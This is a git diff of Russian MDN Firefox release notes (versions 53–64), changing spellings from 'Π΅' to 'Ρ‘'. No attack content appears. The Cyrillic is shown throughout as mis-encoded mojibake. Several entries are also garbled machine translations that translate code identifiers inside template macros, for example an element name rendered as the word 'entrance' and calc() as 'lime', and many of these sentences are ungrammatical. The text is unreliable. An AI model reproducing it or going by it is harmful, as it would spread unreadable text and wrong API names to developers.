- <li>Π‘Ρ‚ΠΈΠ»ΡŒ элСмСнта ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ {{HTMLElement("bdo")}} Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΊΠ°ΠΊ {{cssxref("unicode-bidi")}} ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΉ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>isolate-override</code> ({{bug(1249497)}}).</li>
+ <li>Π‘Ρ‚ΠΈΠ»ΡŒ элСмСнта ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ {{HTMLElement("bdo")}} Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΊΠ°ΠΊ {{cssxref("unicode-bidi")}} ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΉ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>isolate-override</code> ({{bug(1249497)}}).</li>
<li>Установка Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("src", "track")}} элСмСнта {{HTMLElement("track")}} Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ ({{bug(1281418)}}).</li>
<li>Атрибут <code>referrerpolicy</code> Ρƒ элСмСнтов {{HTMLElement("area")}}, {{HTMLElement("a")}}, {{HTMLElement("img")}}, {{HTMLElement("iframe")}} andΒ {{HTMLElement("link")}} Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ доступСн ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ({{bug(1223838)}}, {{bug(1264165)}}).</li>
</ul>
diff --git a/files/ru/mozilla/firefox/releases/53/index.html b/files/ru/mozilla/firefox/releases/53/index.html
index e8fc00a0fd..969d7052ce 100644
--- a/files/ru/mozilla/firefox/releases/53/index.html
+++ b/files/ru/mozilla/firefox/releases/53/index.html
@@ -70,7 +70,7 @@ translation_of: Mozilla/Firefox/Releases/53
<h3 id="DOM"><font><font>DOM</font></font></h3>
<ul>
- <li><font><font>{{Domxref ( "HTMLHyperLinkElementUtils.pathname", "ΠΏΡƒΡ‚ΡŒ")}} ΠΈ {{domxref ( "HTMLHyperLinkElementUtils.search", "поиск")}} {{domxref ( "HTMLHyperLinkElementUtils")}} свойства Ρ€Π°Π½Π΅Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ΠΎ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ части Π² URL. </font><font>НапримСр, для URL ΠΈΠ· </font></font><code>http://z.com/x?a=true&amp;b=false</code><font><font>, </font></font><code>pathname</code><font><font>Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ Β« </font></font><code>/x?a=true&amp;b=false"</code><font><font>ΠΈ </font></font><code>search</code><font><font>Π²Π΅Ρ€Π½Π΅Ρ‚ΡΡβ€žβ€œ, Π° Π½Π΅Β» </font></font><code>/x</code><font><font>Β«ΠΈΒ» </font></font><code>?a=true&amp;b=false"</code><font><font>соотвСтствСнно. </font><font>Π’Π΅ΠΏΠ΅Ρ€ΡŒ это Π±Ρ‹Π»ΠΎ исправлСно ({{bug (1310483)}}).</font></font></li>
+ <li><font><font>{{Domxref ( "HTMLHyperLinkElementUtils.pathname", "ΠΏΡƒΡ‚ΡŒ")}} ΠΈ {{domxref ( "HTMLHyperLinkElementUtils.search", "поиск")}} {{domxref ( "HTMLHyperLinkElementUtils")}} свойства Ρ€Π°Π½Π΅Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ΠΎ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹Π΅ части Π² URL. </font><font>НапримСр, для URL ΠΈΠ· </font></font><code>http://z.com/x?a=true&amp;b=false</code><font><font>, </font></font><code>pathname</code><font><font>Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ Β« </font></font><code>/x?a=true&amp;b=false"</code><font><font>ΠΈ </font></font><code>search</code><font><font>Π²Π΅Ρ€Π½Ρ‘Ρ‚ΡΡβ€žβ€œ, Π° Π½Π΅Β» </font></font><code>/x</code><font><font>Β«ΠΈΒ» </font></font><code>?a=true&amp;b=false"</code><font><font>соотвСтствСнно. </font><font>Π’Π΅ΠΏΠ΅Ρ€ΡŒ это Π±Ρ‹Π»ΠΎ исправлСно ({{bug (1310483)}}).</font></font></li>
<li><font><font>{{Domxref ( "URLSearchParams.URLSearchParams", "URLSearchParams ()")}} ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π½Π° {{domxref ( "USVString")}} ΠΈΠ»ΠΈ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ {{domxref ( "USVString")}} Π΅Π² Π² качСствС ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ({{bug( "1330678")}}).</font></font></li>
<li><font><font>{{Domxref ( "Selection.setBaseAndExtent ()")}} ΠΌΠ΅Ρ‚ΠΎΠ΄ </font></font><a href="/en-US/docs/Web/API/Selection_API"><font><font>API Π²Ρ‹Π±ΠΎΡ€Π°</font></font></a><font><font> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ (см {{bug (1321623)}}).</font></font></li>
<li><a href="https://html.spec.whatwg.org/multipage/forms.html#fakepath-srsly"><font><font>"Fakepath"</font></font></a><font><font> Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ </font></font><code>file</code><font><font>Ρ‚ΠΈΠΏΠ° {{HTMLElement ( "Π²Ρ…ΠΎΠ΄")}} </font></font><code>values</code><font><font>Π±Ρ‹Π»Π° Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° Π² Gecko, давая Π΅Π³ΠΎ ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ (см {{bug (1274596)}}).</font></font></li>
@@ -92,7 +92,7 @@ translation_of: Mozilla/Firefox/Releases/53
<ul>
<li><font><font>{{Domxref ( "WEBGL_compressed_texture_astc")}} рСализуСтся Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ WebGL ({{bug(1250077)}}).</font></font></li>
- <li><font><font>{{Domxref ( "WEBGL_debug_renderer_info")}} Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ WebGL Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ({{bug(1336645)}}).</font></font></li>
+ <li><font><font>{{Domxref ( "WEBGL_debug_renderer_info")}} Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ WebGL Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ({{bug(1336645)}}).</font></font></li>
</ul>
<h3 id="Аудио_Π²ΠΈΠ΄Π΅ΠΎ_ΠΈ_ΠΌΠ΅Π΄ΠΈΠ°"><font><font>Аудио, Π²ΠΈΠ΄Π΅ΠΎ ΠΈ ΠΌΠ΅Π΄ΠΈΠ°</font></font></h3>
@@ -151,21 +151,21 @@ translation_of: Mozilla/Firefox/Releases/53
<h3 id="HTML_XML"><font><font>HTML / XML</font></font></h3>
<ul>
- <li><span id="summary_alias_container"><span id="short_desc_nonedit_display"><code>dom.details_element.enabled</code><font><font>ΠŸΡ€ΠΈΠ² - которая контролируСтся Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ / ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ {{HTMLElement ( "Π΄Π΅Ρ‚Π°Π»ΠΈ")}} ΠΈ {{HTMLElement ( "РСзюмС")}} ΠΎΠΏΠΎΡ€Π½Ρ‹ΠΉ элСмСнт Π² Firefox - Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· </font></font><code>about:config</code><font><font>. </font><font>Π­Ρ‚ΠΈ элСмСнты (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π±Ρ‹Π»ΠΈ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Firefox 49) большС Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹. </font><font>Π‘ΠΌ {{bug (1271549)}}.</font></font></span></span></li>
+ <li><span id="summary_alias_container"><span id="short_desc_nonedit_display"><code>dom.details_element.enabled</code><font><font>ΠŸΡ€ΠΈΠ² - которая контролируСтся Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ / ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ {{HTMLElement ( "Π΄Π΅Ρ‚Π°Π»ΠΈ")}} ΠΈ {{HTMLElement ( "РСзюмС")}} ΠΎΠΏΠΎΡ€Π½Ρ‹ΠΉ элСмСнт Π² Firefox - Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· </font></font><code>about:config</code><font><font>. </font><font>Π­Ρ‚ΠΈ элСмСнты (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π±Ρ‹Π»ΠΈ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Firefox 49) большС Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹. </font><font>Π‘ΠΌ {{bug (1271549)}}.</font></font></span></span></li>
</ul>
<h3 id="CSS_2"><span><span><font><font>CSS</font></font></span></span></h3>
<ul>
<li><font><font>Π£Π΄Π°Π»Π΅Π½Ρ‹ {{property_prefix ( "- Мос")}} приставкой Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ {{cssxref ( ": Ρ€Π΅ΠΆ", ": ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ ()")}} псСвдокласс ({{bug (1270406)}}).</font></font></li>
- <li><code>-moz</code><font><font>ΠŸΡ€ΠΈΡΡ‚Π°Π²ΠΊΠΎΠΉ вСрсия {{cssxref ( "тСкст-ALIGN-послСдний")}} Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ({{bug (1276808)}}).</font></font></li>
+ <li><code>-moz</code><font><font>ΠŸΡ€ΠΈΡΡ‚Π°Π²ΠΊΠΎΠΉ вСрсия {{cssxref ( "тСкст-ALIGN-послСдний")}} Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ({{bug (1276808)}}).</font></font></li>
<li><font><font>Π£Π΄Π°Π»Π΅Π½Ρ‹ {{property_prefix ( "- Мос")}} приставкой Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ {{cssxref ( "извСстково ()")}} ΠœΠ΅Ρ‚ΠΎΠ΄ ({{bug (1331296)}}).</font></font></li>
</ul>
<h3 id="JavaScript_2"><font><font>JavaScript</font></font></h3>
<ul>
- <li><font><font>НСстандартный {{jsxref ( "ArrayBuffer.slice ()")}} ΠœΠ΅Ρ‚ΠΎΠ΄ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ (Π½ΠΎ стандартизированная вСрсия {{jsxref ( "ArrayBuffer.prototype.slice ()")}} сохраняСтся, см {{bug (1313112)}}).</font></font></li>
+ <li><font><font>НСстандартный {{jsxref ( "ArrayBuffer.slice ()")}} ΠœΠ΅Ρ‚ΠΎΠ΄ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ (Π½ΠΎ стандартизированная вСрсия {{jsxref ( "ArrayBuffer.prototype.slice ()")}} сохраняСтся, см {{bug (1313112)}}).</font></font></li>
</ul>
<h3 id="API-интСрфСйсы"><font><font>API-интСрфСйсы</font></font></h3>
diff --git a/files/ru/mozilla/firefox/releases/58/index.html b/files/ru/mozilla/firefox/releases/58/index.html
index e6e71aba3a..e4051ced3a 100644
--- a/files/ru/mozilla/firefox/releases/58/index.html
+++ b/files/ru/mozilla/firefox/releases/58/index.html
@@ -12,9 +12,9 @@ translation_of: Mozilla/Firefox/Releases/58
<h3 id="Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°">Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°</h3>
<ul>
- <li>Код старой вСрсии Ρ€Π΅ΠΆΠΈΠΌΠ° ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½ (Responsive Design) (Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² pre-Firefox 52) ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· Devtools ({{bug(1305777)}}). ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎ Π½ΠΎΠ²ΠΎΠΉ вСрсии Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="/en-US/docs/Tools/Responsive_Design_Mode">Responsive Design Mode</a>.</li>
+ <li>Код старой вСрсии Ρ€Π΅ΠΆΠΈΠΌΠ° ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½ (Responsive Design) (Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² pre-Firefox 52) ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· Devtools ({{bug(1305777)}}). ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎ Π½ΠΎΠ²ΠΎΠΉ вСрсии Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ <a href="/en-US/docs/Tools/Responsive_Design_Mode">Responsive Design Mode</a>.</li>
<li>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ MDN docs Π½Π° Π²ΠΊΠ»Π°Π΄ΠΊΠ΅ CSS Π½Π° страницах инспСктора ΡƒΠ΄Π°Π»Π΅Π½Π° ({{bug(1382171)}}).</li>
- <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">ΠœΠ°Ρ€ΠΊΠ΅Ρ€ CSS Ρ„ΠΈΠ³ΡƒΡ€Β </a> Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Ρ„ΠΈΠ³ΡƒΡ€ (гСомСтричСских ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²ΠΎΠ²), сгСнСрированных ΠΊΠ°ΠΊΒ  {{cssxref("clip-path")}} ({{bug(1405339)}}).</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">ΠœΠ°Ρ€ΠΊΠ΅Ρ€ CSS Ρ„ΠΈΠ³ΡƒΡ€Β </a> Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Ρ„ΠΈΠ³ΡƒΡ€ (гСомСтричСских ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²ΠΎΠ²), сгСнСрированных ΠΊΠ°ΠΊΒ  {{cssxref("clip-path")}} ({{bug(1405339)}}).</li>
<li>Β <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ содСрТит ΠΊΠ½ΠΎΠΏΠΊΡƒ для  <a href="/en-US/docs/Tools/Network_Monitor#Pausing_and_resume_network_traffic_recording">останова/записи ΠΈ просмотра сСтСвого Ρ‚Ρ€Π°Ρ„ΠΈΠΊΠ°</a> согласно ({{bug(1005755)}}).</li>
<li>Π’ <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> Ρ„ΠΈΠ»ΡŒΡ‚Ρ€Β  "Flash" нСдоступСн ΠΈ всС запросы Flash Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π² Ρ„ΠΈΠ»ΡŒΡ‚Ρ€ "Π”Ρ€ΡƒΠ³ΠΎΠ΅" согласно ({{bug(1413540)}}).</li>
</ul>
diff --git a/files/ru/mozilla/firefox/releases/59/index.html b/files/ru/mozilla/firefox/releases/59/index.html
index c2234e7bcb..0ec677f311 100644
--- a/files/ru/mozilla/firefox/releases/59/index.html
+++ b/files/ru/mozilla/firefox/releases/59/index.html
@@ -120,7 +120,7 @@ translation_of: Mozilla/Firefox/Releases/59
<h3 id="HTML_2">HTML</h3>
-<p>НСстандартный ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>version</code>Β  Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° свойства {{htmlattrxref("type","script")}} элСмСнта {{htmlelement("script")}} (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β  <code>type="application/javascript;version=1.8"</code>) Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ({{bug(1428745)}}).</p>
+<p>НСстандартный ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>version</code>Β  Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° свойства {{htmlattrxref("type","script")}} элСмСнта {{htmlelement("script")}} (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,Β  <code>type="application/javascript;version=1.8"</code>) Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ({{bug(1428745)}}).</p>
<h3 id="CSS_2">CSS</h3>
@@ -138,9 +138,9 @@ translation_of: Mozilla/Firefox/Releases/59
<h3 id="APIs_2">APIs</h3>
<ul>
- <li>НСстандартный ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>Event.getPreventDefault()</code> Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½. Π’Π°ΠΌ стоит ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойство {{domxref("Event.defaultPrevented")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ, вызывался Π»ΠΈ {{domxref("Event.preventDefault", "preventDefault()")}} Π½Π° событии {{domxref("Event")}}.</li>
+ <li>НСстандартный ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>Event.getPreventDefault()</code> Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½. Π’Π°ΠΌ стоит ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойство {{domxref("Event.defaultPrevented")}} Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ, вызывался Π»ΠΈ {{domxref("Event.preventDefault", "preventDefault()")}} Π½Π° событии {{domxref("Event")}}.</li>
<li>ΠŸΡ€ΠΎΠΏΡ€ΠΈΠ΅Ρ‚Π°Ρ€Π½ΠΎΠ΅ свойство <code><a href="/en-US/docs/Archive/API/Navigator/mozNotification">Navigator.mozNotification</a></code> ΠΈ интСрфСйс <code>DesktopNotification</code>Β  Π±Ρ‹Π»ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹, Π² ΠΏΠΎΠ»ΡŒΠ·Ρƒ стандартного <a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a> ({{bug(952453)}}).</li>
- <li>ΠŸΡ€ΠΎΠΏΡ€ΠΈΠ΅Ρ‚Π°Ρ€Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>window.external.addSearchEngine()</code> Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ({{bug("862147")}}). Π‘ΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ {{domxref("Window.sidebar")}} для Π±ΠΎΠ»ΡŒΡˆΠΈΡ… подробностСй.</li>
+ <li>ΠŸΡ€ΠΎΠΏΡ€ΠΈΠ΅Ρ‚Π°Ρ€Π½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>window.external.addSearchEngine()</code> Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ({{bug("862147")}}). Π‘ΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ {{domxref("Window.sidebar")}} для Π±ΠΎΠ»ΡŒΡˆΠΈΡ… подробностСй.</li>
<li>НСстандартноС ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Firefox свойство {{domxref("HTMLMediaElement")}} <code>mozAutoplayEnabled</code> Π±Ρ‹Π»ΠΎ ΡƒΠ΄Π°Π»Π΅Π½ΠΎ.</li>
</ul>
diff --git a/files/ru/mozilla/firefox/releases/63/index.html b/files/ru/mozilla/firefox/releases/63/index.html
index 9bf6b600cc..77bb78e3f3 100644
--- a/files/ru/mozilla/firefox/releases/63/index.html
+++ b/files/ru/mozilla/firefox/releases/63/index.html
@@ -158,7 +158,7 @@ translation_of: Mozilla/Firefox/Releases/63
<ul>
<li>Π€Π°Π²ΠΈΠΊΠΎΠ½Ρ‹ сайтов ΠΎΡ‚Π½Ρ‹Π½Π΅ ΠΏΠΎΠ΄Ρ‡ΠΈΠ½ΡΡŽΡ‚ΡΡ <a href="/ru/docs/Web/HTTP/CSP">ΠΏΠΎΠ»ΠΈΡ‚ΠΈΠΊΠ΅ Π·Π°Ρ‰ΠΈΡ‚Ρ‹ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a> (CSP), Ссли ΠΎΠ½Π° настроСна ({{bug(1297156)}}).</li>
- <li>Π’Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ <code>'report-sample'</code> Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρ‹ CSP <code>script-src</code> ΠΎΡ‚Π½Ρ‹Π½Π΅ учитываСтся ΠΏΡ€ΠΈ создании ΠΎΡ‚Ρ‡Ρ‘Ρ‚Π° ΠΎ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠΈ. Π­Ρ‚Π° Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Π° ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π² ΠΎΡ‚Ρ‡Ρ‘Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚ΠΎΠ³ΠΎ, Π³Π΄Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠ΅. Π”ΠΎ этого Firefox всСгда Π²ΠΊΠ»ΡŽΡ‡Π°Π» Ρ‚Π°ΠΊΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² ΠΎΡ‚Ρ‡Ρ‘Ρ‚ ({{bug(1473218)}}).</li>
+ <li>Π’Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ <code>'report-sample'</code> Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρ‹ CSP <code>script-src</code> ΠΎΡ‚Π½Ρ‹Π½Π΅ учитываСтся ΠΏΡ€ΠΈ создании ΠΎΡ‚Ρ‡Ρ‘Ρ‚Π° ΠΎ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠΈ. Π­Ρ‚Π° Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Π° ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π² ΠΎΡ‚Ρ‡Ρ‘Ρ‚ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚ΠΎΠ³ΠΎ, Π³Π΄Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΠ΅. Π”ΠΎ этого Firefox всСгда Π²ΠΊΠ»ΡŽΡ‡Π°Π» Ρ‚Π°ΠΊΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² ΠΎΡ‚Ρ‡Ρ‘Ρ‚ ({{bug(1473218)}}).</li>
<li>Π‘ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ NSS ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Ρ‹ Π΄ΠΎ вСрсии 3.39 ({{bug(1470914)}}).</li>
</ul>
diff --git a/files/ru/mozilla/firefox/releases/64/index.html b/files/ru/mozilla/firefox/releases/64/index.html
index bd14e4d975..07d6525e15 100644
--- a/files/ru/mozilla/firefox/releases/64/index.html
+++ b/files/ru/mozilla/firefox/releases/64/index.html
@@ -19,7 +19,7 @@ translation_of: Mozilla/Firefox/Releases/64
<ul>
<li>РСгистронСзависимоС <a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter#Autocomplete">Π°Π²Ρ‚ΠΎΠ΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅</a> Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ({{bug(672733)}}).</li>
<li>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ <a href="/en-US/docs/Tools/Web_Console/The_command_line_interpreter#Command_history">ΠΈΡΡ‚ΠΎΡ€ΠΈΡŽ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ консоли</a> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ bash-ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ³ΠΎ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎΠ³ΠΎ поиска ({{bug(1024913)}}).</li>
- <li>ΠŸΠΎΠ΄ΡΠ²Π΅Ρ‚ΠΊΠ° <a href="/ru/docs/Tools/Web_Console/The_command_line_interpreter">ΠΎΡ†Π΅Π½Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°</a> ΠΈ ΠΏΡ€ΠΈ Π²Π²ΠΎΠ΄Π΅, ΠΈ ΠΏΡ€ΠΈ Π²Ρ‹Π²ΠΎΠ΄Π΅ ({{bug(1463669)}}).</li>
